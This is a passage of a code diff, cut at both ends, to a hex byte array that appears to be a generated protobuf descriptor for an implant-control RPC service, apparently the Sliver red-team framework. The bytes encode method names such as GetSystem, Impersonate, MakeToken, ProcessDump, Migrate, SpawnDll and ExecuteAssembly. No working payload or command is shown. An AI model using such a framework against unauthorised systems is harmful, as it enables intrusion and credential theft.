0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, + 0x65, 0x12, 0x26, 0x0a, 0x04, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x23, 0x0a, 0x02, 0x50, 0x73, 0x12, + 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x52, 0x65, 0x71, + 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x12, 0x38, + 0x0a, 0x09, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, + 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x49, 0x66, 0x63, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, + 0x32, 0x0a, 0x07, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x52, 0x65, 0x71, + 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, + 0x74, 0x61, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x4c, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x24, 0x0a, 0x02, 0x43, 0x64, 0x12, 0x0f, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x64, 0x52, 0x65, 0x71, 0x1a, + 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x26, + 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x23, 0x0a, 0x02, 0x4d, 0x76, 0x12, 0x0f, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, 0x12, 0x23, 0x0a, 0x02, 0x43, + 0x70, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x52, + 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, + 0x12, 0x23, 0x0a, 0x02, 0x52, 0x6d, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x12, 0x2c, 0x0a, 0x05, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x12, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x52, + 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, + 0x64, 0x69, 0x72, 0x12, 0x35, 0x0a, 0x08, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, + 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, + 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x55, 0x70, + 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, + 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6f, + 0x77, 0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, + 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x32, 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, 0x6d, + 0x65, 0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, + 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x37, 0x0a, 0x0c, 0x4d, + 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x19, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, + 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, + 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, + 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, + 0x73, 0x41, 0x64, 0x64, 0x12, 0x3b, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, + 0x52, 0x6d, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, + 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, + 0x6d, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, + 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, + 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, + 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0f, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, + 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, - 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, - 0x6c, 0x66, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, - 0x38, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x16, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, - 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x61, 0x73, - 0x6b, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, - 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x54, 0x61, 0x73, 0x6b, 0x12, 0x27, 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12, 0x10, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, - 0x09, 0x4d, 0x73, 0x66, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, - 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, - 0x73, 0x6b, 0x12, 0x4a, 0x0a, 0x0f, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, - 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, - 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, - 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x32, - 0x0a, 0x07, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, - 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, - 0x74, 0x65, 0x12, 0x32, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x14, 0x2e, + 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, + 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x16, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, + 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x38, 0x0a, 0x09, 0x47, 0x65, 0x74, + 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x13, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, + 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x11, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x0e, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x27, + 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x52, 0x65, + 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x4a, 0x0a, 0x0f, + 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, + 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, + 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, - 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, - 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, - 0x77, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x53, 0x69, 0x64, 0x65, - 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, - 0x3b, 0x0a, 0x08, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x1b, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x53, 0x70, 0x61, - 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x3b, 0x0a, 0x0a, - 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, - 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, - 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, 0x43, 0x75, 0x72, - 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x1e, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, - 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1b, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, - 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x4e, 0x0a, 0x12, 0x50, - 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, - 0x72, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, - 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, - 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, - 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a, 0x11, 0x50, - 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, - 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, - 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x12, 0x4e, 0x0a, 0x15, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x73, 0x12, 0x33, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, - 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, - 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, - 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, - 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, - 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, - 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, - 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, - 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, - 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, - 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, - 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, - 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, - 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, - 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, - 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, - 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, - 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, - 0x76, 0x52, 